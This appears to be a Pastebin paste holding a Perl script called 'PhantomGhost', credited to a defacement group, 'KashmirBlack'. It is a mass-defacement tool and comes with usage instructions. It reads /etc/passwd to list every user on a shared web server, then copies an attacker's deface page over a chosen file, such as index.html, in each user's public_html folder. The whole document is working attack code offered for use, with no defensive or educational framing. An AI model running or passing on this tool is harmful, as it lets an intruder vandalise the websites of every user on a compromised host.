Guest User

Untitled

a guest
Jan 10th, 2018
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.85 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #PhantomGhost
  3. #CodedBy Exect1337 | KashmirBlack
  4.  
  5. if(defined($ARGV[0] and $ARGV[1])){
  6. print "  | MASS DEFACE BY KASHMIR BLACK|  \n\n";
  7. sleep(2);
  8. my (@userlist, $passwd, $user, @nowdeface, $mydefacescript, $intout);
  9.  
  10. $mydefacescript = $ARGV[0];
  11. $intout = $ARGV[1];
  12. $passwd = '/etc/passwd';
  13.  
  14. if(!(-e $mydefacescript)){
  15. print "file $mydefacescript not found here\n";
  16. exit;
  17. }
  18. open($user,"<$passwd") || die($!);
  19. @userlist = <$user>;
  20. close($user);
  21. @nowdeface = grep { !/^$/ } @userlist;
  22.  
  23. my $end = scalar(@nowdeface);
  24. for($i = 0; $i < $end; $i++){
  25. my $defacethisuser = @nowdeface[$i];
  26. $defacethisuser =~ m/^([A-Za-z0-9]+)/g;
  27. print $1."\n";
  28. system("cp","".$mydefacescript."","/home/".$1."/public_html/".$intout."");
  29. }
  30. print "\n\+Done\n";
  31. }
  32. else{
  33. print "
  34.  
  35. How To Use :
  36.  
  37. perl msdeface.pl mydeface-script.txt index.html\n";
  38. exit;
  39. }
Advertisement
Add Comment
Please, Sign In to add comment